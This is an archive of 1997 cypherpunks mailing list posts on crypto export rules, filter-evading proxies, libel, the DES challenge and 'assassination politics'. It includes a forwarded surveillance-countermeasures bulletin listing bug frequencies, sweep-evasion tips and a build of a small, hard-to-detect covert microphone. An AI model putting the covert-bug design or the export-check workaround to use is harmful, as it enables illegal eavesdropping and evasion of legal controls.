>destination machine is probably not in North America. This is not a
>perfect way to prevent export, of course, but it is what the regulations
>say, as I read them. For a pointer to the regulations and to my access
>request form and crypto site, see http://www.sni.net/~mpj/crypto.htm
...
An easy crack to that would be to request access from a hotmail, or
similair, account.  This account would show up as being on US soil while the
account holder would not necessarily be so.  In this way, someone with an
account ending in your .ru would get through because h[is/er] e-mail request
originated from inside the U.S.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 21:42:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701310542.VAA05173@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:43 PM 1/29/97 -0500, Mark Rogaski wrote:
>If I had experience with Netscape plugins and spare time, I'd
>try it myself.  But here's my proposed solution.  
>
>A plugin in Netscape intercepts all requests,  encrypt the URL
>with a pubkey algorithm, encode the string base64, send it as GET input to
>a proxy server.
>
>The proxy server decodes and decrypts the URL, gets the requested page,
>and returns it.  This beats out URL-based filtering.
>
>Still need to figure out the specifics of key-exchange.  If we use
>40-bit encryption, it's exportable, and it still works in our threat
>model (ie. we don't care if the watchers figure out the URL a few hours
>later).
>
>To beat out dropping packets with unacceptable pattern in them, we
>could use an SSL-based server as the proxy.
>
>The plugin could even have a nice little on/off switch and a list
>list of available proxies.
...
The above paragraph would be a problem, unless you wanted to update the
program with a great regualrity.  Each time the offending government got the
software and blocked all of those sites, the software would be worthless.
This would be no big deal if you could guarantee some means of someone
getting the software, which would certainly be illegal, again and again.
Better to have the user key in the proxy that h[is/er] cousin/uncle/best
friend/boss/client/guest told h[im/er] about.

Here is a similar idea.  Have your plug-in replace the part of Netscape that
checks the URL with INTERNIC or similar.  Have the system accept your
address for the proxy and send the requested URL to it, the server then
FTP's the contents of the page (and if server time is readily available, its
sub-pages), places them in a temporary directory on itself and allows your
computer to see it there thinking that it is on a totally different machine.
This way the proxy owner would not have to stay on top of the latest
restricted material.
The main problem would be that the system would absorb twice as much time,
once for the download to itself, and once to show it to you.
This is not terribly different to Netscape's caching of recently visited
pages in memory on the off-chance that you will return.
If you changed passwords at the same time that you changed addresses, and
reported them together, the government wouldn't be able to keep up.
When the government did its sweep of objectionable words, it would come to
this site that would have no such data.  Only by having the access password,
would they be able to reveal that site as a proxy.  If they knew the
password then they would already know that that was a proxy site because
they would have been given both the password and the address at the same time.
You then try to maintain several different addressess at a time, each with a
different password.  As the Government blocks one, change its password and
its address.
The software would be either two-piece, assuming a dedicated client plug-in,
or one-piece.
The pieces would be as follows.
The proxy, this software would be as small as possible and would only be a
front end.  Ideally this software should fit on one 3.5" disk.  The address
to this machine would be the address handed out.  In the one-part scenario,
this would be implemented as a web-page with a CGI script for the address.
The user types in the request and this bot fetches it, placing it in a
special directory for the use of this script, this directory would probably
be erased after the allotted space was filled, though not before, (you don't
stay logged in to the remote machine when using Netscape so erasing on
hang-up would mean continually reloading the data.)  The proxy would then
refresh your client with the requested information.  In the two piece
scenario, this proxy would interact with the plug-in in much the same way,
forgoing the CGI script.
The client, the plug-in, if present, would take over the Location field and
have a set up menu to type in the proxy's URL and password.  In that way the
user would see h[im/er]self as accessing the web page directly.  Certainly
more user friendly, once the client were configured, though not quite as
flexible.  In this system the government could make both accessing the proxy
and possession of the client illegal.  It would also be a problem for
persons who use a machine to which they have no control.  If the setup were
un changeable or reset after power-down, this system would require the user
to continually re set up the client.

The proxy could be as simple as an opening screen with a field for the
password and the URL.  The proxy should re-link all external links into its
own system so that the system can be transparent after the initial page.  In
other words, the links should be replaced with a second HTML document with
the password and search-criteria inside in much the same way that
search-engines relay your request to itself, in the URL.  This would be a
simple script that changed all occurances of "A
HREF="HTTP://This.is.the/real/site.html"" to "A
HREF="internal/directory.html
Query?=HTTP://This.is.the/real/site.html+password""


           






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Thu, 30 Jan 1997 23:43:42 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701310743.XAA06952@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Phil Karn

You have to admit that it is far more consistent to treat both the
book and the floppy as a munition than to take the position DoS
eventually took. Even if the more consistent position is a far more
restrictive one that has even less chance of surviving a court
challenge.
...........................................................

In terms of consistency, if the government  reserved the right to control 
printed source code (in the future),  and books and floppys containing it 
are considered munitions, then cryptographers, who have it in their heads, 
would also be considered munitions.

They would have to be prohibited from leaving the country and constrained 
not only from using the internet, but from any kind of communications 
medium.  Ian Goldberg would not be allowed to visit Anguilla or participate 
in any more contests.  :>)

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 30 Jan 1997 23:44:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: job opportunities
Message-ID: <199701310744.XAA06980@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have no idea whether members of this list are interested in these kinds
of jobs, but hey, can't hurt to ask.

For the next 3 months (until April 30), Farallon Communications is trying
to focus on filling several key engineering positions in the Netopia and
LAN groups.  (Netopia is a product line of ISDN devices)  My wife works at
Farallon in product marketing for Netopia stuff.  They started out as a
Macintosh networking company and have gone "Internet."

Firmware Engineers:  3 for Netopia and 1 for LAN

Hardware Engineers:  1 for Netopia and 1 for LAN

There is some flexibility for the firmware positions to work either in
Alameda or San Jose.  I'm not sure about the job descriptions; I just
looked at http://www.farallon.com/corp/jobs/index.html and this might
accurately describe some of the positions mentioned above:

Sr. Staff Engineer (WAN) -- San Jose and Alameda
4 Openings
Senior member of the software development team responsible for
architecture, design and implementation of embedded systems
firmware on new and existing WAN products. Hands-on design
position requiring a BSCS or a BSEE with advanced degree preferred.
The ideal candidate will have 10+ years networking or
telecommunications development experience and expert knowledge of
multi-protocol routing and bridging. Expertise in networking layer
technologies/protocols and data compression required.

Lee Tien









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 23:44:54 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701310744.XAA06999@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:15 AM 1/30/97 -0800, jim bell wrote:
>What you're presented (included in its entirety below) is what I've come to 
>call an "AP story problem."   I've worked through many of those myself; 
>their main problem is that they don't carefully describe why _each_ person 
>in the "play" you've described would be motivated to do what it's claim he 
>does, and why he DOES NOT do other things to fix the situation he's in.  
>Remember, I'm not merely talking about the main character, but also the ones 
>who are (apparently?) incidental.  
>
>For just one example, you said:    "conventional bodyguards could be 
>included, ones with no real pay but with the fore knowledgethat they will be 
>buried with the tyrant."
>
>What motivates these people?  Are they hostages?  If they're hostages, then 
>presumably that means they're motivated to seek the death of anyone who is 
>holding them.  What about their relatives; don't they have any sympathy for 
>those who are taken?  Why don't they donate to AP to see the lead guy dead?

As I stated in the bottom, the children would be privaledged.  They would
merely be told that it is a great honor.  It could very well be.  Assuming
that the tyrant did not die, these children would live in comparable luxery.
They would be at risk only if the tyrant was.  By keeping the children at
hand, the parents would balk at taking action against the tyrant, not only
their own action, but also that of others.  The children would merely be
there to thwart the attempts of others.
The "Tiger Teams" would have to get through security on their own, takers on
this offer would be very few unless the bounty were great, the defenses were
weak, or the thrill level were high.  An encounter with a bloodless thrill
seaker might go like this "I hacked your system, here's proof, now pay up",
remember, for some, it is the proof that a thing can be done that is the
greatest thrill.  Also, the tyrant would feel bound to keep h[is/er] word to
avoid others deciding to take the challenge for the smaller sum.

Remember also that 10% controls 90%, this means that each potential tyrant
has on average 9% of the wealth, while the remaining 90% has about 1/90th of
the remaining 10%.  To match the wealth of the tyrant, these people would
have to get together 90% of their numbers and commit everything.
If 100 people were in the total population, and 1000 dollars in circulation,
10 people would be tyrants with about 90 dollars apiece, the remaining 90
people would each have 100/90 dollars, or 1.11 dollars each.  It would take
81 of them together to match the wealth of one.  With that many, they might
as well attack outright because they would now include practically all of
the population.  If the tyrant had more than 9 of the peasants close to him,
he would be at risk by conventional means.
The real threat would not be the people, of limited means, using the system.
But rather other tyrants using the system.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 30 Jan 1997 23:44:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701310744.XAA06972@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:28 PM 1/30/97 -0600, William H. Geiger III wrote:
...
>I would also want to make the ISP's liable for their users accessing this
info. That way I
>can intimidate them into doing all the work for me. (You can see
>this approach in several areas of US law enforcemant. Arrest bartenders for
>serving minors, arrest store clerks for selling cigaretts to minors, shut
down of BBS for
>users posting "dirty pictures", going after ISP's for pirated
>software and other copyright infringments by their users.)
...
I live in Oklahoma.  Here at least, bartenders don't sell beer to minors,
they sell it to persons who are clearly older.  Older friends of the minors,
and minors who finished puberty early.  The bartenders only protection is to
close up shop, depriving everyone of a drink.
The same is true of tobacco products.  About 8 months ago I had a girl who I
barely knew, except that she was obviously in Junior High, recognize me, ask
me if I was 18, to which I replied yes, and ask me to buy her a carton of
cigerettes, to which I declined.  Not for any law imeding me, but I consider
suicide a right, but I will not help someone kill themselves.  This girl,
more than likely already hooked on the drug, had probably used this
technique numerous times before without a glitch.
The same would be true of blockingon-line content.  If it were done right.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 30 Jan 1997 23:45:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment (fwd)
Message-ID: <199701310745.XAA07005@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 29 Jan 1997 10:46:57 -0500 (EST)
> From: Declan McCullagh <declan@pathfinder.com>
> 
> * The 1st Amendment does protect some lies.

No, it protects speech. The Constitution is meant to protect citizens from a
priori constraints on their speech, not the results of the content ex post
facto.

It is clearly not in the best interest of society to limit opinions or
fiction.

> If I say "Jim Choate is a
> Venusian albatross," the statement is probably (?) a lie,

No, for it to be a lie there must be a potentiality of its truth. A nonsense
statement which happens to fit the syntactical rules of a language wouldn't
qualify.

A more apt situation would be, "Hey, <some person>, I saw <your name> in a
public restroom blowing the President's pink torpedoe and <your name> was
begging for more!". The statement should have to be transmitted to
<some person> without the permission of <your name>.

The legal standard should be that if you make statements purported to be
true about a third party without their prior consent you should be held to
a minimum standard of evidence demonstrating the actuality of your statement.

A democratic society should have no tolerence for libel, slander, or other
forms of lies.

> but I doubt
> you'll prevail in a libel suit. What damages do you have? That's the key,
> I believe -- the statement has to lower you in the opinion of others.

Which is exactly one aspect of the problem. Wrongs should not be based on
quantity or opinion. By focusing on what others think trivializes the issue
at hand, a untruth about a person has been passed off as a truth.

> * Many 1st Amendment experts don't believe in the legal concept of libel. 
> It is, they say, a rich man's game

Exactly, instead of equal protection under the law we have a specieocracy.

> -- if I'm libeled by the NYT, I'm
> probably not going t be able to sue them, but Donald Trump can. Moreover,
> if I don't have the resources to sue but the statement is libelous, it
> creates a *presumption* in the minds of the readers that the article is
> certainly true. (If it were not, I would have sued, right?) 

Another good example of why our system is broke.

> * The concept you may be searching for is consensual speech, which I
> believe a society should tolerate. Libelous speech isn't consensual,
> though obscenity is.

There is no such thing as 'obscenity' just as there is no such thing as
'community standard'. These are the results of mental masturbation to
justify some power freaks alterior motives.

No, what I should be permitted to say should not rest on what others may
permit. If so then I should have a say in what they can say, which means I
have a say in what they can say about what I can say, ... (got it yet?)

What we need is a fundamental change in the legal system which focuses on
first principles and results, not social status or wealth or the potential
for gain.

Perhaps what we need is a legal system where both the defence and
prosecuting attornies are selected by lot. We already have such a system
applied to the defence. If it is considered sufficient for a defence it
should qualify as sufficient for prosecution. Each practicing attorney would
receive a stipend allocated by the appropriate legislative body. The court
and police (who should represent the people in general) would provide both
parties the results of any tests and equal and simultaneous access to all
evidence. If a person wants additional legal council they can buy it from
their own pocket but the attorney is limited to act only as a adjunct to the
appointed attorney (ie they would not be allowed to speak in court).

In civil cases the plaintiff should place a bond, set at some percentage of
the maximum permissible award, at the time the case is filed. This would at
least cover the general costs of the court and limit nuisance cases.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <foodie@netcom.com>
Date: Thu, 30 Jan 1997 23:43:58 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701310743.XAA06964@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:39 PM -0800 on 1/30/97, Vladimir Z. Nuri wrote:

> those laws are effective or not. cpunks seem to think that a govt
> can only have *effective* laws. but there is obviously no such
> constraint.

No such constraint in the _making_ of laws, of course. We have
laws on the books forbidding the utterance of "Oh boy", the carrying
of an ice cream cone in one's pocket, and the act of driving without
insurance, all functioning to varying degrees of effectiveness, 'on
the books' in various states.

The question Sandy seems to me to be raising is not whether a group
of people can issue a decree, but rather whether the interaction of the law
books, the interested parties on either side of the debate, and the mostly
disinterested real world will intersect such that the laws passed can
be used to effectively hamper the activities of the parties who wish
to go about the business proscribed. This is not an either/or question,
as you so aptly note (I hope Kirkegaard doesn't mind).

Of course, methods of this nature specifically regarding the uses of
privacy is what this list is all about.

Not an argument; just a clarification.

-j

--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                foodie@netcom.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ben Byer <root@bushing.plastic.crosslink.net>
Date: Thu, 30 Jan 1997 23:43:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES challenge status?
Message-ID: <199701310743.XAA06953@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> 
> Ben Byer wrote:
> > 
> > -----BEGIN PGP SIGNED MESSAGE-----
> > 
> > What exactly is the status of RSA's DES contest?  I understand that at
> > least two of the smaller contests have already been cracked, but I
> > haven't seen much beyond theoretical discussion on the list on the
> > topic of the DES contest.
> > 
> 
> 	Two? The only publicized solution so far is the
> RC5/32/12/5 solution from Ian Goldberg at Berkeley
> (and independently from Germano Caronni at ETH Z|rich).
> 
> 	Are you saying that you know that the 48 bit RC5
> contest is solved already, or are you just counting Ian's
> and Germano's solutions separately?

Ooops!  Mea culpa.  That's what I meant.

- -- 
Ben Byer    root@bushing.plastic.crosslink.net    I am not a bushing

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 30 Jan 1997 23:45:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Intelligence Update (fwd)
Message-ID: <199701310745.XAA07140@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Update on Bugging Devices
>=================================================
>
>0.902 - 0.928 ghz - Popular Commercial FH/DS Devices
>1.710 - 1.755 ghz - DEA Audio/Video Bugs (over 1400 bugs purchased in 1995)
>1.710 - 1.755 ghz - DOJ Audio/Video Bugs (.25 to .50 watts)
>1.710 - 1.850 ghz - Treasury Video Surveillance Systems
>2.400 - 2.484 ghz - Popular Commercial FH/DS Devices
>4.635 - 4.660 ghz - Treasury Video Surveillance Systems
>
>Most recently purchased gvt microwave surveillance gear seems to be running
>between 900mhz to 5ghz, with a few systems operating on the 7/8 ghz bands.
>
>Also, keep in mind that the pros love to use ultra low power devices which
>use the power lines as the transmission medium/antenna (9khz to 300 mhz).
>Devices typically operate below 10mw, often below 1mw. The devices
>typically use Wide FM and use voice inversion encryption... VERY easy to
>demodulate.
>
>Note: According to a recently obtained DOJ surveillance training manual:
>
>"The typical range for the 28 ghz devices is six miles, the typical range
>of the 2.4 ghz is thirty miles, and the typical range for the 1.7ghz  is 44
>miles."
>
>"... frequency modulated applications should operate below 3 ghz to take
>advantage of the favorable frequency propagation characteristics of that
>part of the spectrum."
>
>"...Frequency Hopping and Direct Sequence Devices spead spectrum devices
>should operate above 1.5 ghz, this will prevent the emissions from being
>detected by electronic countermeasures."
>
>The most popular surveillance reciever used covers 9khz (for CC/VLF) up to
>9ghz, so be sure to cover AT LEAST those bands.
>
>=================================================
>
>All TSCM people have heard about AID devices, but few know the actual freq
>they use, or what they look like.
>
>The devices are VERY popular with the law enforcement crowd, private
>investigators and corporate security types. The equipment is VERY overpriced,
>and the fairly easy to detect.
>
>AID bills itself as "The World's Largest Manufacturer of Electronic
>Intelligence Equipment and Specialized Protective Systems"
>
>AID was founded in 1970, and was sold in 92/93 to Westinghouse (Westinghouse is
>currently selling TONS of equipment to the DEA and State dept)
>
>AID - Westinghouse/Audio Intelligence Devices, Inc. Bug Freqs
>
>135 MHz - 150 MHz  Special Order/Secondary Band
>150 MHz - 174 MHz  Standard/Primary Band (Most Popular)
>216 MHz - 220 MHz  Special Order
>400 MHz - 470 MHz  UHF Repeaters
>
> 21 MHz -  80 MHz  Very Low Power WFM (.5mw - 10mw)  Special Order Only
> 36 MHz -  39 MHz  Very Low Power WFM (.5mw - 50mw)  ***Very Dangerous***
> 80 kHz - 200 kHz  "Line Carrier" Microphone Systems ***Very Dangerous***
> 30 kHz - 700 kHz  Spread Spectrum Current Carrier Devices
>
>1700MHz - 1900MHz  25-250mw Video and audio bugs (Mostly DEA/DOJ stuff)
>2400MHz - 2484MHz  25-250mw Video and audio bugs
>
>If the signal is "scrambled" it is nothing more than simple voice inversion,
>a circuit to "de-scramble" costs around $20.
>
>Note: AID devices are often re-tuned for outband channels... so be careful.
>
>The area of spectrum from 15MHz to 500MHz is the primary threat, 500MHz to 3GHz
>is the secondary threat, a "line carrier" threat is from 30kHz to 750kHz.
>
>If the person planting the bug suspects that a TSCM inspection may be
>conducted then AID suggests a frequency between 30MHz to 50MHz,
>sensitivity of rcvr should be better than .18uv/-122dbm. The mode is
>usually wideband FM.
>
>Also, keep in mind that AID devices are frequently used for illegal buggings,
>so be familiar with their realistic specs, expect power outputs well under
>50mw, and expect to see the AC power circuits being used as the antenna.
>
>Note: Mike Langley at NIA advises that AID/NIA/Westinghouse is totally
>shutting down all TSCM training, at that they have cancelled the production
>of all TSCM products effective 1 Jan 97.
>
>=================================================
>
>Several devices were recently found at a DOE facility on Long Island,
>details are a bit sketchy, but initial information indicates that a
>defecting  middle-eastern FIS agent provided a list of locations within
>several DOE facilties that were being targeted.TSCM inspection (not
>performed by DOE) located several devices. Facility/lab working on designs
>for triggering mechanisms... very interesting incident.
>
>=================================================
>
>HDS - Household Data Services
> 50.000 - 750.000 kHz   Carrier Current Audio System
>120.000 - 400.000 kHz   Carrier Current Audio System
>138.000 - 174.000 MHz   Wireless microphone/Body Wires (8KR Series .1 to 30 mw)
>150.000 - 174.000 MHz   Wireless microphone/Body Wires (ATX Series .1 to 30 mw)
>174.000 - 230.000 MHz   Wireless microphone/Body Wires
>350.000 - 440.000 MHz   Audio/Video Transmitters (360-440 popular)
>470.000 - 608.000 MHz   Audio/Video Transmitters
>570.000 - 928.000 MHz   Audio/Video Transmitters (Spread Spectrum Popular)
> 1,000  -  1,500 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 1,425  -  1,450 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 1,700  -  2,700 MHz    Audio/Video Transmitters 2.4-2.5 hot (10-100mw max)
> 1,710  -  1,900 MHz    Audio/Video Transmitters (10-100mw max) ** HOT **
> 6,425  -  7,125 MHz    Low Power Audio/Video Transmitter (10-100mw max)
> 8,100  -  8,700 MHz    Audio/Video Transmitter, 8.2/8.5 popular (10-100mw max)
>10,200  - 10,700 MHz    Audio/Video Transmitter, 10.5 popular (10-100mw max)
>17,700  - 19,700 MHz    Low Power Audio/Video Transmitter (10-100mw max)
>20,000  - 24,600 MHz    Low Power Audio/Video Transmitter (10-100mw max)
>
>=================================================
>
>Sony - Wireless Microphones and Body Wires
>470.000 - 489.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>770.000 - 782.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 64
>782.000 - 794.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 66
>794.000 - 806.000 MHz   2.5mw - 10mw, Ultra low power - Chnl 68
>770.000 - 810.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>902.000 - 928.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
>947.000 - 954.000 MHz   2.5mw - 20mw, WFM (110kHz), Ultra low power
> 60.000 - 970.000 MHz   2.5mw - 10mw, WFM (300kHz) Audio Transmitter
>
>Note: These little low power devices have an adjustable freq deviation
>which can be adjusted to as high as +/- 225khz... System also uses a
>matched receiver. Entire system xmitter and cvr sell for under $2500.
>
>Imagine a 3mw transmitter operating at 782mhz (snuggled up to the audio of
>the local TV xmitter) using a 100khz cue channel subcarrier. Life
>expectancy at least  350 hours (using lithium cells). Reasonable range at
>least 1500 feet indoors.
>
>=================================================
>
>Finished putting the final touches on a new page
>concerning Mace and Personal Protection Sprays.
>
>Drop by and let me know what you think.
>
>   http://www.tscm.com/mace
>
>
>The ASP - Armament Systems and Procedures Web page is
>now also online, the address follows:
>
>      http://www.tscm.com/asp/
>
>=================================================
>
>BMS manufactures a line of pro-grade products used primarly for the
>Broadcast and Television markets, but their prices are cheap, very small,
>low power, and a serious threat to our clients.
>
>Most of their voice/video/telem products (ie:BMT25-S) operates from
>900mhz-4ghz, and are easily detectable at 10mw and 100mw.
>
>The major threat is from the X-Band, and Ku-Band devices which they sell
>that operate up to 13.5ghz.
>
>Keep in mind the devices are as small as 1.0in x 1.0in x 3.3in, and can be
>run from a 12vdc battery for days, if not weeks.
>
>Most of the devices utilize a variable frequency audio dual sub-carrier
>between 4 to 9 mhz.
>
>They sell small omni directional, and highly directional antenna as well.
>
>=================================================
>
>Intel on Microwave surveillance system (made by AST in MD ??)
>
>Stock Devices
>1.2 to 2.2  ghz
>3.7 to 4.2  ghz
>5.9 to 6.45 ghz
>
>Special Order Devices (1.4 ghz bands)
>1.2 to 2.8  ghz - Justice just bought a bunch of these
>2.2 to 3.8  ghz
>3.2 to 4.8  ghz - State Department item
>4.2 to 5.8  ghz
>5.2 to 6.8  ghz
>
>Tech material mentions product available to 8.5/8.8 ghz
>
>All funtions (including freq) are software controlled,
>
>Direct Sequence output, 60 mhz window for spread spectrum
>
>Device designed to transmit FDM baseband signals from a PBX backplane using
>QAM 64 or 256 modulation.
>
>The box I examined measured 1 * 3.5 * 3 and took power from 8 to 16 vdc (12
>pref).
>
>Output power fixed at 100mw
>
>=================================================
>
>Recently I did some work designing an experimental spread sprectrum
>wireless microphone.
>
>The goal of the project was to see just how small, and how cheaply a
>realistic device could be built.
>
>Initial goal was a device that would use the 47 CFR 15.247 for the ISM band
>from 902 to 928 mhz and an enhancement (jumper change) mode to extend the
>upper frequency range to 954 mhz.
>
>The device would have to have a range of at least 150 feet in a hotel
>building and/or office building (parking lot monitoring).
>
>The device must be small enough to be "dropped in a pocket," concealed in
>the seam of a drape, and placed into furniture.
>
>Device must use consumer (radio shack) batteries.
>
>Device must cost less $100 in materials to build
>
>I felt the above specs would reflect a realistic device.
>
>---------------
>
>1) Battery used was 2ea EPX-76 cells which gave 2.5 to 3 hours of usable
>audio, sub-ed a DL123A lithium which upped the time to over 4 days (and
>still counting)
>
>2) Microphone was two surface mount Seimens hearing aid elements.
>
>3) Spread Spectrum controller was a surface mount WL-9010 from Wireless
>Logic, the chip is a compact stand alone transmitter.
>
>4) Used a Mitsubishi codec chip commonly used in cellular telephone with a
>noise cancelling circuit (this is why two microphones were used).
>
>5) Small pot was used to adjust the output power between .15mw to 65mw
>
>6) All components used where SMT versions, hot flow was used for assembly
>
>7) Entire circuit was assembled on a .30 by .25 inches square double sided
>printed circuit board.
>
>8) PCB soldered directly to battery cap
>
>9) .5 inch long paper clip used as antenna
>
>10) Currently working on a telephone line version.
>
>11) Range at 50mw (legal power limit) tested usable and clear at 260 feet
>(device placed in hotel room, and monitored in the parking lot)
>
>12) Device WAS NOT detectable with an AVCOM 65 until the antenna was within
>8 inches of the device (until a hump started to slightly appear).
>
>
>What doe this tell us?
>
>Spread spectrum devices can be real small, cheaply made, and low power
>using off the shelf products.
>
>Watch that area between 800 mhz and 1 gig
>
>=================================================
>
>We are interested in purchasing old catalogs, training materials, and technical
>documentation used by Audio Intelligence Devices, HDS, and other
>surveillance companies.
>
>Specifically we are looking for:
>
>   Old product catalogs
>   Sales materials picked up at trade shows (IE: NATIA)
>   Training Manuals from National Intelligence Academy
>   Textbooks from National Intelligence Academy
>   Product Owners Manuals
>   Product Service Manuals
>
>We are also interested in purchasing "generations" of materials, so if you
>have ten years worth of old catalogs from the '70s were interested.
>
>Let us know what you've got, and we'll work out cash payment arrangements.
>
>The materials will be used for project that starts in January and will run
>for at least six months.
>
>If you have materials from other technical intelligence schools or
>surveillance we could also be interested.
>
>=================================================
>
>I recently had a chance to examine a new device made by Delft
>Industries.
>
>It is very similar to the X-Band units I've examined,
>except that the frequencies were higher and mods were much
>more subtle.
>
>Small PCB was cemented into the rear of the unit, underneath the regular
>PCB (black rubber covered 1.5 cm * 4cm * .8cm).
>
>Unit consited of a two microphones, compander circuits,
>power supply/regulator, and modulator circuit.
>
>Compander circuit operated dual circuits around 120hz to 15khz.
>
>No external mods to case, only very small variation in power drain,
>no internal battery, several large surface mount caps...
>
>Entire unit double sided surface mount PCB, looks like 4 layers,
>2/3 digital circuitry, 1/3 analog and RF circuitry.
>
>The only mods to the alarm PCB was the cutting of several traces
>on the back of the PCB (near the emitter circuit).
>
>The doppler alarm operated between 24 ghz and 24.25 ghz, intelligence
>seems to be a 480k bit digital data stream using the alarm
>signal as the carrier (QAM mod).
>
>Looks like one version of the product will also allow someone
>to deactivate a specific sensor remotely upon on command.
>
>According to the factory, the units are being shipped into
>Canada and Mexico in quanity, then transported into the
>US in small quantities.
>
>Heavy usage in Texas, New Orleans, Florida, California,
>and Pennsylvania.
>
>Device have already been offered for sale in several
>"spy shops" in New York, and Miami.
>
>- Be Careful Out There
>
>========================================================
>
>You may find it interesting to revist our web site in
>the near future, during the last few months the site has
> undergone incredible growth, copius additions, and changes..
>
>        http://www.tscm.com/
>
>On January 2, 1997 we rolled out several new
>product lines which increased the number of TSCM products
>on our web page to over 1,000 TSCM and technical security
>products.
>
>At the present time we have over 12,500 pages of
>printed documents available for download.
>
>If you haven't reviewed it yet, be advised that we now
>have a TDR tutorial page available online.
>
>        http://www.tscm.com/riserbond.html
>
>
>We've also updated the materials we have online
>regarding the REI OSC-5000
>
>        http://www.tscm.com/reioscor.html
>
>
> ===============================================================
>
>DOJ just took delivery of a large number of video transmitter modules
>
>Operating freqs between 8ghz and 11 ghz (PLL field programmable)
>
>10mw rf output (max), nominal 8.5mw
>
>power draw below 35ma
>
>baseband video trans, not SS
>
>all modules have audio inputs (solder tab), standard audio subcarrier,
>audio section may be disabled to conserve power.
>
>Min. effective (flat array ant) range indicated as 2700 feet line of sight,
>and 1500 rural.
>
>I would estimate the range to be below 500 ft with a unity gain antenna.
>
>A number of the units came preinstalled in fake squirel and
>birds nests with a low light auto iris CCD camera (unk manuf, suspect
>Kodak). I've seen similar units used by the DEA (installed under tree
>bark).
>
>Both unity gain ant config (stub), and biconical flat pack.
>
>Power requirements seem to correlate to 9vdc lithium batteries.
>
>>From what I can see on the physical specs, looks like the transmitter, and
>camera combined are 2/3 the size of a standard 9vdc battery.
>
>The document indicates gvt paid $874 per module (Xmit module only),
>document also mentions req code for the "domestic counterterrorism"
>program.
>
>I wonder if these are the "tree frogs" that the boys at Quantico were
>trying to get bids on, back in September?
>
>It's only a matter of a few months before these devices start getting
>"lost in the field " and start re-appearing in the private sector.
>
> ===============================================================
>
>I've heard from several engineers at TI that an unidentified gvt law
>enforcement agency has them working on a super compact thermal imaging
>system and video transmitter for covert surveillance. System utilizes an
>electronic LCD chopper instead of the regular mechanical chopper. Device
>contains integral microwave tranmitter (unk freq). From what I can gather,
>these are going to be used for conducting long term thermal surveillance of
>areas... I will advise as I obtain further intel.
>
> ===============================================================
>
>Just finished reading the 1997 Hewlett Packards optoelectronics designers
>guide, and found several items of interest.
>
>Most of us are familiar with the low power 900nm I/R devices.
>
>But did you know that they also make CHEAP LED's for communications
>that operate from 700nm to 1510nm??
>
>700, 710, 875, 905, 940, 1100, and 1510nm are the most common products in
>the HEMT line.
>
>Can be modulated (open air) from 0 to 750khz with no problem, and higher speeds
>with some minor distortion.
>
>just a heads up
>
> ===============================================================
>
>We are taking delivery of the first 95S radio's and third generation MSS
>units from Boeing... We are expecting initial shipments to customers mid to
>end of Feb.
>
>The 95S is a stand alone wideband receiver designed for SIGINT and TSCM,
>weighs in at just under 8 lbs (complete). Radio will retail for around
>6,000 and 7,500 dollars (US) depending on config.
>
>While the unit is fully self contained, we will have a VME version avail
>(we have them now). Coverage is a clean from 5khz to 8ghz (yes 8ghz), and
>sensitivity is superior to anything Watkins Johnson makes.
>
>Reciever is being built into the new MSS-3500 briefcase system, which will
>allow automated spectrum monitoring of 40ghz of spectrum in 8/9ghz
>segments.
>
> ===============================================================
>
>Just finished playing with a nasty little Radio Shack (CM-421)
>single channel VHF microphone.
>
>While the product is designed for use in the 160-220 range, it's designed
>so that to be recrystalized and usable anywhere in the world.
>
>The product can be easily retuned from 90-300Mhz (by the book), power
>output is variable via a pot from 5mw to 50mw.
>
